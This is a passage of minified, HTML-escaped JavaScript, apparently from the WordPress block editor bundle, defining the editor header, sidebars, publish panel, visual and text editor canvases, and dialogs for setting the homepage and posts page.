403px)&quot;),{postType:l,isTextEditor:u,isPublishSidebarOpened:h,showIconLabels:_,hasFixedToolbar:f,hasBlockSelection:b,hasSectionRootClientId:y}=(0,d.useSelect)((e=&gt;{const{get:t}=e(C.store),{getEditorMode:s,getCurrentPostType:n,isPublishSidebarOpened:o}=e(vc),{getBlockSelectionStart:r,getSectionRootClientId:i}=$(e(g.store));return{postType:n(),isTextEditor:&quot;text&quot;===s(),isPublishSidebarOpened:o(),showIconLabels:t(&quot;core&quot;,&quot;showIconLabels&quot;),hasFixedToolbar:t(&quot;core&quot;,&quot;fixedToolbar&quot;),hasBlockSelection:!!r(),hasSectionRootClientId:!!i()}}),[]),x=[&quot;post&quot;,&quot;page&quot;,&quot;wp_template&quot;].includes(l)&amp;&amp;y,v=[R,B,N].includes(l)||s,[w,S]=(0,p.useState)(!0),k=!a&amp;&amp;(!f||f&amp;&amp;(!b||w)),P=(()=&gt;{const e=(0,Hn.__experimentalUseSlotFills)(Yg);return Boolean(e&amp;&amp;e.length)})();return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-header edit-post-header&quot;,children:[P&amp;&amp;(0,c.jsx)(Hn.__unstableMotion.div,{className:&quot;editor-header__back-button&quot;,variants:j_,transition:{type:&quot;tween&quot;},children:(0,c.jsx)(Xg.Slot,{})}),(0,c.jsxs)(Hn.__unstableMotion.div,{variants:P_,className:&quot;editor-header__toolbar&quot;,transition:{type:&quot;tween&quot;},children:[(0,c.jsx)(o_,{disableBlockTools:s||u}),f&amp;&amp;i&amp;&amp;(0,c.jsx)(s_,{isCollapsed:w,onToggle:S})]}),k&amp;&amp;(0,c.jsx)(Hn.__unstableMotion.div,{className:&quot;editor-header__center&quot;,variants:P_,transition:{type:&quot;tween&quot;},children:(0,c.jsx)(Gc,{title:o})}),(0,c.jsxs)(Hn.__unstableMotion.div,{variants:P_,transition:{type:&quot;tween&quot;},className:&quot;editor-header__settings&quot;,children:[!e&amp;&amp;!h&amp;&amp;(0,c.jsx)(nh,{forceIsDirty:t}),(0,c.jsx)(y_,{}),(0,c.jsx)(S_,{forceIsAutosaveable:t,disabled:v}),(0,c.jsx)(Mp,{className:&quot;editor-header__post-preview-button&quot;,forceIsAutosaveable:t}),r&amp;&amp;x&amp;&amp;(0,c.jsx)(C_,{disabled:s}),(r||!_)&amp;&amp;(0,c.jsx)(Ma.Slot,{scope:&quot;core&quot;}),!e&amp;&amp;(0,c.jsx)(b_,{forceIsDirty:t,setEntitiesSavedStatesCallback:n}),e,(0,c.jsx)(g_,{})]})]})};const{PrivateInserterLibrary:T_}=$(g.privateApis);function I_(){const{blockSectionRootClientId:e,inserterSidebarToggleRef:t,inserter:s,showMostUsedBlocks:n,sidebarIsOpened:o}=(0,d.useSelect)((e=&gt;{const{getInserterSidebarToggleRef:t,getInserter:s,isPublishSidebarOpened:n}=$(e(vc)),{getBlockRootClientId:o,isZoomOut:r,getSectionRootClientId:i}=$(e(g.store)),{get:a}=e(C.store),{getActiveComplementaryArea:l}=e(ja);return{inserterSidebarToggleRef:t(),inserter:s(),showMostUsedBlocks:a(&quot;core&quot;,&quot;mostUsedBlocks&quot;),blockSectionRootClientId:(()=&gt;{if(r()){const e=i();if(e)return e}return o()})(),sidebarIsOpened:!(!l(&quot;core&quot;)&amp;&amp;!n())}}),[]),{setIsInserterOpened:r}=(0,d.useDispatch)(vc),{disableComplementaryArea:i}=(0,d.useDispatch)(ja),a=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),l=(0,p.useRef)(),u=(0,p.useCallback)((()=&gt;{r(!1),t.current?.focus()}),[t,r]),h=(0,p.useCallback)((e=&gt;{e.keyCode!==ll.ESCAPE||e.defaultPrevented||(e.preventDefault(),u())}),[u]),_=(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-inserter-sidebar__content&quot;,children:(0,c.jsx)(T_,{showMostUsedBlocks:n,showInserterHelpPanel:!0,shouldFocusBlock:a,rootClientId:e,onSelect:s.onSelect,__experimentalInitialTab:s.tab,__experimentalInitialCategory:s.category,__experimentalFilterValue:s.filterValue,onPatternCategorySelection:o?()=&gt;i(&quot;core&quot;):void 0,ref:l,onClose:u})});return(0,c.jsx)(&quot;div&quot;,{onKeyDown:h,className:&quot;editor-inserter-sidebar&quot;,children:_})}function B_(){return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__outline&quot;,children:[(0,c.jsxs)(&quot;div&quot;,{children:[(0,c.jsx)(Hn.__experimentalText,{children:(0,fs.__)(&quot;Characters:&quot;)}),(0,c.jsx)(Hn.__experimentalText,{children:(0,c.jsx)(Oh,{})})]}),(0,c.jsxs)(&quot;div&quot;,{children:[(0,c.jsx)(Hn.__experimentalText,{children:(0,fs.__)(&quot;Words:&quot;)}),(0,c.jsx)(Ah,{})]}),(0,c.jsxs)(&quot;div&quot;,{children:[(0,c.jsx)(Hn.__experimentalText,{children:(0,fs.__)(&quot;Time to read:&quot;)}),(0,c.jsx)(Lh,{})]})]}),(0,c.jsx)(ed,{})]})}const{TabbedSidebar:N_}=$(g.privateApis);function R_(){const{setIsListViewOpened:e}=(0,d.useDispatch)(vc),{getListViewToggleRef:t}=$((0,d.useSelect)(vc)),s=(0,m.useFocusOnMount)(&quot;firstElement&quot;),n=(0,p.useCallback)((()=&gt;{e(!1),t().current?.focus()}),[t,e]),o=(0,p.useCallback)((e=&gt;{e.keyCode!==ll.ESCAPE||e.defaultPrevented||(e.preventDefault(),n())}),[n]),[r,i]=(0,p.useState)(null),[a,l]=(0,p.useState)(&quot;list-view&quot;),u=(0,p.useRef)(),h=(0,p.useRef)(),_=(0,p.useRef)(),f=(0,m.useMergeRefs)([s,_,i]);const b=(0,p.useCallback)((()=&gt;{u.current.contains(u.current.ownerDocument.activeElement)?n():function(e){const t=Uc.focus.tabbable.find(h.current)[0];if(&quot;list-view&quot;===e){const e=Uc.focus.tabbable.find(_.current)[0];(u.current.contains(e)?e:t).focus()}else t.focus()}(a)}),[n,a]);return(0,il.useShortcut)(&quot;core/editor/toggle-list-view&quot;,b),(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar&quot;,onKeyDown:o,ref:u,children:(0,c.jsx)(N_,{tabs:[{name:&quot;list-view&quot;,title:(0,fs._x)(&quot;List View&quot;,&quot;Post overview&quot;),panel:(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__list-view-container&quot;,children:(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__list-view-panel-content&quot;,children:(0,c.jsx)(g.__experimentalListView,{dropZoneElement:r})})}),panelRef:f},{name:&quot;outline&quot;,title:(0,fs._x)(&quot;Outline&quot;,&quot;Post overview&quot;),panel:(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__list-view-container&quot;,children:(0,c.jsx)(B_,{})})}],onClose:n,onSelect:e=&gt;l(e),defaultTabId:&quot;list-view&quot;,ref:h,closeButtonLabel:(0,fs.__)(&quot;Close&quot;)})})}const{Fill:D_,Slot:A_}=(0,Hn.createSlotFill)(&quot;ActionsPanel&quot;);function M_({setEntitiesSavedStatesCallback:e,closeEntitiesSavedStates:t,isEntitiesSavedStatesOpen:s,forceIsDirtyPublishPanel:n}){const{closePublishSidebar:o,togglePublishSidebar:r}=(0,d.useDispatch)(vc),{publishSidebarOpened:i,isPublishable:a,isDirty:l,hasOtherEntitiesChanges:u}=(0,d.useSelect)((e=&gt;{const{isPublishSidebarOpened:t,isEditedPostPublishable:s,isCurrentPostPublished:n,isEditedPostDirty:o,hasNonPostEntityChanges:r}=e(vc),i=r();return{publishSidebarOpened:t(),isPublishable:!n()&amp;&amp;s(),isDirty:i||o(),hasOtherEntitiesChanges:i}}),[]),m=(0,p.useCallback)((()=&gt;e(!0)),[]);let h;return h=i?(0,c.jsx)(Ym,{onClose:o,forceIsDirty:n,PrePublishExtension:Tu.Slot,PostPublishExtension:vu.Slot}):a&amp;&amp;!u?(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-layout__toggle-publish-panel&quot;,children:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:r,&quot;aria-expanded&quot;:!1,children:(0,fs.__)(&quot;Open publish panel&quot;)})}):(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-layout__toggle-entities-saved-states-panel&quot;,children:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:m,&quot;aria-expanded&quot;:!1,&quot;aria-haspopup&quot;:&quot;dialog&quot;,disabled:!l,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Open save panel&quot;)})}),(0,c.jsxs)(c.Fragment,{children:[s&amp;&amp;(0,c.jsx)(yd,{close:t,renderDialog:!0}),(0,c.jsx)(A_,{bubblesVirtually:!0}),!s&amp;&amp;h]})}function L_({autoFocus:e=!1}){const{switchEditorMode:t}=(0,d.useDispatch)(vc),{shortcut:s,isRichEditingEnabled:n}=(0,d.useSelect)((e=&gt;{const{getEditorSettings:t}=e(vc),{getShortcutRepresentation:s}=e(il.store);return{shortcut:s(&quot;core/editor/toggle-mode&quot;),isRichEditingEnabled:t().richEditingEnabled}}),[]),o=(0,p.useRef)();return(0,p.useEffect)((()=&gt;{e||o?.current?.focus()}),[e]),(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-text-editor&quot;,children:[n&amp;&amp;(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-text-editor__toolbar&quot;,children:[(0,c.jsx)(&quot;h2&quot;,{children:(0,fs.__)(&quot;Editing code&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;t(&quot;visual&quot;),shortcut:s,children:(0,fs.__)(&quot;Exit code editor&quot;)})]}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-text-editor__body&quot;,children:[(0,c.jsx)(wh,{ref:o}),(0,c.jsx)(gh,{})]})]})}function O_({contentRef:e}){const{onNavigateToEntityRecord:t,templateId:s}=(0,d.useSelect)((e=&gt;{const{getEditorSettings:t,getCurrentTemplateId:s}=e(vc);return{onNavigateToEntityRecord:t().onNavigateToEntityRecord,templateId:s()}}),[]),n=(0,d.useSelect)((e=&gt;!!e(u.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})),[]),[o,r]=(0,p.useState)(!1);return(0,p.useEffect)((()=&gt;{const t=e=&gt;{n&amp;&amp;e.target.classList.contains(&quot;is-root-container&quot;)&amp;&amp;&quot;core/template-part&quot;!==e.target.dataset?.type&amp;&amp;(e.defaultPrevented||(e.preventDefault(),r(!0)))},s=e.current;return s?.addEventListener(&quot;dblclick&quot;,t),()=&gt;{s?.removeEventListener(&quot;dblclick&quot;,t)}}),[e,n]),n?(0,c.jsx)(Hn.__experimentalConfirmDialog,{isOpen:o,confirmButtonText:(0,fs.__)(&quot;Edit template&quot;),onConfirm:()=&gt;{r(!1),t({postId:s,postType:&quot;wp_template&quot;})},onCancel:()=&gt;r(!1),size:&quot;medium&quot;,children:(0,fs.__)(&quot;You’ve tried to select a block that is part of a template that may be used elsewhere on your site. Would you like to edit the template?&quot;)}):null}function F_({direction:e,resizeWidthBy:t}){const s=`resizable-editor__resize-help-${e}`;return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.Tooltip,{text:(0,fs.__)(&quot;Drag to resize&quot;),children:(0,c.jsx)(Hn.__unstableMotion.button,{className:`editor-resizable-editor__resize-handle is-${e}`,&quot;aria-label&quot;:(0,fs.__)(&quot;Drag to resize&quot;),&quot;aria-describedby&quot;:s,onKeyDown:function(s){const{keyCode:n}=s;n!==ll.LEFT&amp;&amp;n!==ll.RIGHT||(s.preventDefault(),&quot;left&quot;===e&amp;&amp;n===ll.LEFT||&quot;right&quot;===e&amp;&amp;n===ll.RIGHT?t(20):(&quot;left&quot;===e&amp;&amp;n===ll.RIGHT||&quot;right&quot;===e&amp;&amp;n===ll.LEFT)&amp;&amp;t(-20))},variants:{active:{opacity:1,scaleY:1.3}},whileFocus:&quot;active&quot;,whileHover:&quot;active&quot;,whileTap:&quot;active&quot;,role:&quot;separator&quot;,&quot;aria-orientation&quot;:&quot;vertical&quot;},&quot;handle&quot;)}),(0,c.jsx)(Hn.VisuallyHidden,{id:s,children:(0,fs.__)(&quot;Use left and right arrow keys to resize the canvas.&quot;)})]})}const V_={position:void 0,userSelect:void 0,cursor:void 0,width:void 0,height:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0};var U_=function({className:e,enableResizing:t,height:s,children:n}){const[o,r]=(0,p.useState)(&quot;100%&quot;),i=(0,p.useRef)(),a=(0,p.useCallback)((e=&gt;{i.current&amp;&amp;r(i.current.offsetWidth+e)}),[]);return(0,c.jsx)(Hn.ResizableBox,{className:mr(&quot;editor-resizable-editor&quot;,e,{&quot;is-resizable&quot;:t}),ref:e=&gt;{i.current=e?.resizable},size:{width:t?o:&quot;100%&quot;,height:t&amp;&amp;s?s:&quot;100%&quot;},onResizeStop:(e,t,s)=&gt;{r(s.style.width)},minWidth:300,maxWidth:&quot;100%&quot;,maxHeight:&quot;100%&quot;,enable:{left:t,right:t},showHandle:t,resizeRatio:2,handleComponent:{left:(0,c.jsx)(F_,{direction:&quot;left&quot;,resizeWidthBy:a}),right:(0,c.jsx)(F_,{direction:&quot;right&quot;,resizeWidthBy:a})},handleClasses:void 0,handleStyles:{left:V_,right:V_},children:n})};function H_(e,t,s){return Math.min(Math.max(e,t),s)}function z_(e,t,s){const n=e-H_(e,s.left,s.right),o=t-H_(t,s.top,s.bottom);return Math.sqrt(n*n+o*o)}function G_({isEnabled:e=!0}={}){const{getEnabledClientIdsTree:t,getBlockName:s,getBlockOrder:n}=$((0,d.useSelect)(g.store)),{selectBlock:o}=(0,d.useDispatch)(g.store);return(0,m.useRefEffect)((r=&gt;{if(!e)return;const i=e=&gt;{(e.target===r||e.target.classList.contains(&quot;is-root-container&quot;))&amp;&amp;((e,i)=&gt;{const a=t().flatMap((({clientId:e})=&gt;{const t=s(e);if(&quot;core/template-part&quot;===t)return[];if(&quot;core/post-content&quot;===t){const t=n(e);if(t.length)return t}return[e]}));let l=1/0,c=null;for(const t of a){const s=r.querySelector(`[data-block=&quot;${t}&quot;]`);if(!s)continue;const n=z_(e,i,s.getBoundingClientRect());n&lt;l&amp;&amp;n&lt;500&amp;&amp;(l=n,c=t)}c&amp;&amp;o(c)})(e.clientX,e.clientY)};return r.addEventListener(&quot;click&quot;,i),()=&gt;r.removeEventListener(&quot;click&quot;,i)}),[e])}function $_(){const{getSettings:e,isZoomOut:t}=$((0,d.useSelect)(g.store)),{resetZoomLevel:s}=$((0,d.useDispatch)(g.store));return(0,m.useRefEffect)((n=&gt;{function o(n){if(t()&amp;&amp;!n.defaultPrevented){n.preventDefault();const{__experimentalSetIsInserterOpened:t}=e();&quot;function&quot;==typeof t&amp;&amp;t(!1),s()}}return n.addEventListener(&quot;dblclick&quot;,o),()=&gt;{n.removeEventListener(&quot;dblclick&quot;,o)}}),[e,t,s])}const{LayoutStyle:W_,useLayoutClasses:Z_,useLayoutStyles:Y_,ExperimentalBlockCanvas:q_,useFlashEditableBlocks:K_}=$(g.privateApis),Q_=[N,I,R,B];function X_(e){for(let t=0;t&lt;e.length;t++){if(&quot;core/post-content&quot;===e[t].name)return e[t].attributes;if(e[t].innerBlocks.length){const s=X_(e[t].innerBlocks);if(s)return s}}}function J_(e){for(let t=0;t&lt;e.length;t++)if(&quot;core/post-content&quot;===e[t].name)return!0;return!1}var ef=function({autoFocus:e,styles:t,disableIframe:s=!1,iframeProps:n,contentRef:o,className:r}){const i=(0,m.useViewportMatch)(&quot;small&quot;,&quot;&lt;&quot;),{renderingMode:a,postContentAttributes:l,editedPostTemplate:h={},wrapperBlockName:_,wrapperUniqueId:f,deviceType:b,isFocusedEntity:y,isDesignPostType:v,postType:w,isPreview:S,canvasMinHeight:k}=(0,d.useSelect)((e=&gt;{const{getCurrentPostId:t,getCurrentPostType:s,getCurrentTemplateId:n,getEditorSettings:o,getRenderingMode:r,getDeviceType:i,getCanvasMinHeight:a}=$(e(vc)),{getPostType:l,getEditedEntityRecord:c}=e(u.store),d=s(),p=r();let m;d===N?m=&quot;core/block&quot;:&quot;post-only&quot;===p&amp;&amp;(m=&quot;core/post-content&quot;);const h=o(),g=h.supportsTemplateMode,_=l(d),f=n(),b=f?c(&quot;postType&quot;,I,f):void 0;return{renderingMode:p,postContentAttributes:h.postContentAttributes,isDesignPostType:Q_.includes(d),editedPostTemplate:_?.viewable&amp;&amp;g?b:void 0,wrapperBlockName:m,wrapperUniqueId:t(),deviceType:i(),isFocusedEntity:!!h.onNavigateToPreviousEntityRecord,postType:d,isPreview:h.isPreviewMode,canvasMinHeight:a()}}),[]),{isCleanNewPost:C}=(0,d.useSelect)(vc),{hasRootPaddingAwareAlignments:P,themeHasDisabledLayoutStyles:j,themeSupportsLayout:E,isZoomedOut:T}=(0,d.useSelect)((e=&gt;{const{getSettings:t,isZoomOut:s}=$(e(g.store)),n=t();return{themeHasDisabledLayoutStyles:n.disableLayoutStyles,themeSupportsLayout:n.supportsLayout,hasRootPaddingAwareAlignments:n.__experimentalFeatures?.useRootPaddingAwareAlignments,isZoomedOut:s()}}),[]),D=(0,p.useRef)(),A=(0,g.__experimentalUseResizeCanvas)(b),[M]=(0,g.useSettings)(&quot;layout&quot;),L=(0,p.useMemo)((()=&gt;&quot;post-only&quot;!==a||v?{type:&quot;default&quot;}:E?{...M,type:&quot;constrained&quot;}:{type:&quot;default&quot;}),[a,E,M,v]),O=(0,p.useMemo)((()=&gt;{if(!h?.content&amp;&amp;!h?.blocks&amp;&amp;l)return l;if(h?.blocks)return X_(h?.blocks);const e=&quot;string&quot;==typeof h?.content?h?.content:&quot;&quot;;return X_((0,x.parse)(e))||{}}),[h?.content,h?.blocks,l]),F=(0,p.useMemo)((()=&gt;{if(!h?.content&amp;&amp;!h?.blocks)return!1;if(h?.blocks)return J_(h?.blocks);const e=&quot;string&quot;==typeof h?.content?h?.content:&quot;&quot;;return J_((0,x.parse)(e))||!1}),[h?.content,h?.blocks]),{layout:V={},align:U=&quot;&quot;}=O||{},H=Z_(O,&quot;core/post-content&quot;),z=mr({&quot;is-layout-flow&quot;:!E},E&amp;&amp;H,U&amp;&amp;`align${U}`),G=Y_(O,&quot;core/post-content&quot;,&quot;.block-editor-block-list__layout.is-root-container&quot;),W=(0,p.useMemo)((()=&gt;V&amp;&amp;(&quot;constrained&quot;===V?.type||V?.inherit||V?.contentSize||V?.wideSize)?{...M,...V,type:&quot;constrained&quot;}:{...M,...V,type:&quot;default&quot;}),[V?.type,V?.inherit,V?.contentSize,V?.wideSize,M]),Z=l?W:L,Y=&quot;default&quot;!==Z?.type||F?Z:L,q=(0,g.__unstableUseTypingObserver)(),K=(0,p.useRef)();(0,p.useEffect)((()=&gt;{e&amp;&amp;C()&amp;&amp;K?.current?.focus()}),[e,C]);const Q=[R,B,N].includes(w)&amp;&amp;!S&amp;&amp;!i&amp;&amp;!T,X=(0,p.useMemo)((()=&gt;{if(!D.current)return k;const{ownerDocument:e}=D.current,t=e.documentElement.scrollTop||e.body.scrollTop;return k+t}),[k]),J=(0,p.useMemo)((()=&gt;[...t??[],{css:`:where(.block-editor-iframe__body){display:flow-root;${X?`min-height:${X}px;`:&quot;&quot;}}.is-root-container{display:flow-root;${Q?&quot;min-height:0!important;&quot;:&quot;&quot;}}\n\t\t\t\t${Q?&quot;.block-editor-iframe__html{background:var(--wp-editor-canvas-background);display:flex;align-items:center;justify-content:center;min-height:100vh;}.block-editor-iframe__body{width:100%;}&quot;:&quot;&quot;}`}]),[t,Q,X]),ee=(0,g.__unstableUseTypewriter)();return o=(0,m.useMergeRefs)([D,o,&quot;post-only&quot;===a?ee:null,K_({isEnabled:&quot;template-locked&quot;===a}),G_({isEnabled:&quot;template-locked&quot;===a}),$_()]),(0,c.jsx)(&quot;div&quot;,{className:mr(&quot;editor-visual-editor&quot;,&quot;edit-post-visual-editor&quot;,r,{&quot;has-padding&quot;:y||Q,&quot;is-resizable&quot;:Q,&quot;is-iframed&quot;:!s}),children:(0,c.jsx)(U_,{enableResizing:Q,height:&quot;100%&quot;,children:(0,c.jsxs)(q_,{shouldIframe:!s,contentRef:o,styles:J,height:&quot;100%&quot;,iframeProps:{...n,style:{...n?.style,...A}},children:[E&amp;&amp;!j&amp;&amp;&quot;post-only&quot;===a&amp;&amp;!v&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(W_,{selector:&quot;.editor-visual-editor__post-title-wrapper&quot;,layout:L}),(0,c.jsx)(W_,{selector:&quot;.block-editor-block-list__layout.is-root-container&quot;,layout:Y}),U&amp;&amp;(0,c.jsx)(W_,{css:&quot;.is-root-container.alignwide { max-width: var(--wp--style--global--wide-size); margin-left: auto; margin-right: auto;}\n\t\t.is-root-container.alignwide:where(.is-layout-flow) &gt; :not(.alignleft):not(.alignright) { max-width: var(--wp--style--global--wide-size);}\n\t\t.is-root-container.alignfull { max-width: none; margin-left: auto; margin-right: auto;}\n\t\t.is-root-container.alignfull:where(.is-layout-flow) &gt; :not(.alignleft):not(.alignright) { max-width: none;}&quot;}),G&amp;&amp;(0,c.jsx)(W_,{layout:W,css:G})]}),&quot;post-only&quot;===a&amp;&amp;!v&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:mr(&quot;editor-visual-editor__post-title-wrapper&quot;,&quot;edit-post-visual-editor__post-title-wrapper&quot;,{&quot;has-global-padding&quot;:P}),contentEditable:!1,ref:q,style:{marginTop:&quot;4rem&quot;},children:(0,c.jsx)(vh,{ref:K})}),(0,c.jsxs)(g.RecursionProvider,{blockName:_,uniqueId:f,children:[(0,c.jsx)(g.BlockList,{className:mr(&quot;is-&quot;+b.toLowerCase()+&quot;-preview&quot;,&quot;post-only&quot;!==a||v?&quot;wp-site-blocks&quot;:`${z} wp-block-post-content`,{&quot;has-global-padding&quot;:&quot;post-only&quot;===a&amp;&amp;!v&amp;&amp;P}),layout:Z,dropZoneElement:s?D.current:D.current?.parentNode,__unstableDisableDropZone:&quot;template-locked&quot;===a}),&quot;template-locked&quot;===a&amp;&amp;(0,c.jsx)(O_,{contentRef:D})]})]})})})};const tf={header:(0,fs.__)(&quot;Editor top bar&quot;),body:(0,fs.__)(&quot;Editor content&quot;),sidebar:(0,fs.__)(&quot;Editor settings&quot;),actions:(0,fs.__)(&quot;Editor publish&quot;),footer:(0,fs.__)(&quot;Editor footer&quot;)};function sf({className:e,styles:t,children:s,forceIsDirty:n,contentRef:o,disableIframe:r,autoFocus:i,customSaveButton:a,customSavePanel:l,forceDisableBlockTools:u,title:h,iframeProps:_}){const{mode:f,isInserterOpened:b,isListViewOpened:y,isDistractionFree:x,isPreviewMode:v,showBlockBreadcrumbs:w,documentLabel:S}=(0,d.useSelect)((e=&gt;{const{get:t}=e(C.store),{getEditorSettings:s,getPostTypeLabel:n}=e(vc),o=s(),r=n();let i=e(vc).getEditorMode();return o.richEditingEnabled||&quot;visual&quot;!==i||(i=&quot;text&quot;),o.codeEditingEnabled||&quot;text&quot;!==i||(i=&quot;visual&quot;),{mode:i,isInserterOpened:e(vc).isInserterOpened(),isListViewOpened:e(vc).isListViewOpened(),isDistractionFree:t(&quot;core&quot;,&quot;distractionFree&quot;),isPreviewMode:o.isPreviewMode,showBlockBreadcrumbs:t(&quot;core&quot;,&quot;showBlockBreadcrumbs&quot;),documentLabel:r||(0,fs._x)(&quot;Document&quot;,&quot;noun, breadcrumb&quot;)}}),[]),k=(0,m.useViewportMatch)(&quot;medium&quot;),P=y?(0,fs.__)(&quot;Document Overview&quot;):(0,fs.__)(&quot;Block Library&quot;),[j,E]=(0,p.useState)(!1),T=(0,p.useCallback)((e=&gt;{&quot;function&quot;==typeof j&amp;&amp;j(e),E(!1)}),[j]);return(0,c.jsx)(Wa,{isDistractionFree:x,className:mr(&quot;editor-editor-interface&quot;,e,{&quot;is-entity-save-view-open&quot;:!!j,&quot;is-distraction-free&quot;:x&amp;&amp;!v}),labels:{...tf,secondarySidebar:P},header:!v&amp;&amp;(0,c.jsx)(E_,{forceIsDirty:n,setEntitiesSavedStatesCallback:E,customSaveButton:a,forceDisableBlockTools:u,title:h}),editorNotices:(0,c.jsx)(ld,{}),secondarySidebar:!v&amp;&amp;&quot;visual&quot;===f&amp;&amp;(b&amp;&amp;(0,c.jsx)(I_,{})||y&amp;&amp;(0,c.jsx)(R_,{})),sidebar:!v&amp;&amp;!x&amp;&amp;(0,c.jsx)(Va.Slot,{scope:&quot;core&quot;}),content:(0,c.jsxs)(c.Fragment,{children:[!x&amp;&amp;!v&amp;&amp;(0,c.jsx)(ld,{}),(0,c.jsx)(Zg.Slot,{children:([e])=&gt;e||(0,c.jsxs)(c.Fragment,{children:[!v&amp;&amp;&quot;text&quot;===f&amp;&amp;(0,c.jsx)(L_,{autoFocus:i}),!v&amp;&amp;!k&amp;&amp;&quot;visual&quot;===f&amp;&amp;(0,c.jsx)(g.BlockToolbar,{hideDragHandle:!0}),(v||&quot;visual&quot;===f)&amp;&amp;(0,c.jsx)(ef,{styles:t,contentRef:o,disableIframe:r,autoFocus:i,iframeProps:_}),s]})})]}),footer:!v&amp;&amp;!x&amp;&amp;k&amp;&amp;w&amp;&amp;&quot;visual&quot;===f&amp;&amp;(0,c.jsx)(g.BlockBreadcrumb,{rootLabelText:S}),actions:v?void 0:l||(0,c.jsx)(M_,{closeEntitiesSavedStates:T,isEntitiesSavedStatesOpen:j,setEntitiesSavedStatesCallback:E,forceIsDirtyPublishPanel:n})})}const{OverridesPanel:nf}=$(ao.privateApis);function of(){return(0,d.useSelect)((e=&gt;&quot;wp_block&quot;===e(vc).getCurrentPostType()),[])?(0,c.jsx)(nf,{}):null}function rf(e){return&quot;string&quot;==typeof e.title?(0,Ln.decodeEntities)(e.title):e.title&amp;&amp;&quot;rendered&quot;in e.title?(0,Ln.decodeEntities)(e.title.rendered):e.title&amp;&amp;&quot;raw&quot;in e.title?(0,Ln.decodeEntities)(e.title.raw):&quot;&quot;}const af=({items:e,closeModal:t})=&gt;{const[s]=e,n=rf(s),{showOnFront:o,currentHomePage:r,isSaving:i}=(0,d.useSelect)((e=&gt;{const{getEntityRecord:t,isSavingEntityRecord:s}=e(u.store),n=t(&quot;root&quot;,&quot;site&quot;),o=t(&quot;postType&quot;,&quot;page&quot;,n?.page_on_front);return{showOnFront:n?.show_on_front,currentHomePage:o,isSaving:s(&quot;root&quot;,&quot;site&quot;)}})),{saveEntityRecord:a}=(0,d.useDispatch)(u.store),{createSuccessNotice:l,createErrorNotice:p}=(0,d.useDispatch)(_s.store);let m=&quot;&quot;;&quot;posts&quot;===o?m=(0,fs.__)(&quot;This will replace the current homepage which is set to display latest posts.&quot;):r&amp;&amp;(m=(0,fs.sprintf)((0,fs.__)(&#039;This will replace the current homepage: &quot;%s&quot;&#039;),rf(r)));const h=(0,fs.sprintf)((0,fs.__)(&#039;Set &quot;%1$s&quot; as the site homepage? %2$s&#039;),n,m).trim(),g=(0,fs.__)(&quot;Set homepage&quot;);return(0,c.jsx)(&quot;form&quot;,{onSubmit:async function(e){e.preventDefault();try{await a(&quot;root&quot;,&quot;site&quot;,{page_on_front:s.id,show_on_front:&quot;page&quot;}),l((0,fs.__)(&quot;Homepage updated.&quot;),{type:&quot;snackbar&quot;})}catch(e){const t=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;An error occurred while setting the homepage.&quot;);p(t,{type:&quot;snackbar&quot;})}finally{t?.()}},children:(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,c.jsx)(Hn.__experimentalText,{children:h}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},disabled:i,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:i,accessibleWhenDisabled:!0,children:g})]})]})})},lf=({items:e,closeModal:t})=&gt;{const[s]=e,n=rf(s),{currentPostsPage:o,isPageForPostsSet:r,isSaving:i}=(0,d.useSelect)((e=&gt;{const{getEntityRecord:t,isSavingEntityRecord:s}=e(u.store),n=t(&quot;root&quot;,&quot;site&quot;);return{currentPostsPage:t(&quot;postType&quot;,&quot;page&quot;,n?.page_for_posts),isPageForPostsSet:0!==n?.page_for_posts,isSaving:s(&quot;root&quot;,&quot;site&quot;)}})),{saveEntityRecord:a}=(0,d.useDispatch)(u.store),{createSuccessNotice:l,createErrorNotice:p}=(0,d.useDispatch)(_s.store);const m=r&amp;&amp;o?(0,fs.sprintf)((0,fs.__)(&#039;This will replace the current posts page: &quot;%s&quot;&#039;),rf(o)):(0,fs.__)(&quot;This page will show the latest posts.&quot;),h=(0,fs.sprintf)((0,fs.__)(&#039;Set &quot;%1$s&quot; as the posts page? %2$s&#039;),n,m),g=(0,fs.__)(&quot;Set posts page&quot;);return(0,c.jsx)(&quot;form&quot;,{onSubmit:async function(e){e.preventDefault();try{await a(&quot;root&quot;,&quot;site&quot;,{page_for_posts:s.id,show_on_front:&quot;page&quot;}),l((0,fs.__)(&quot;Posts page updated.&quot;),{type:&quot;snackbar&quot;})}catch(e){const t=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;An error occurred while setting the posts 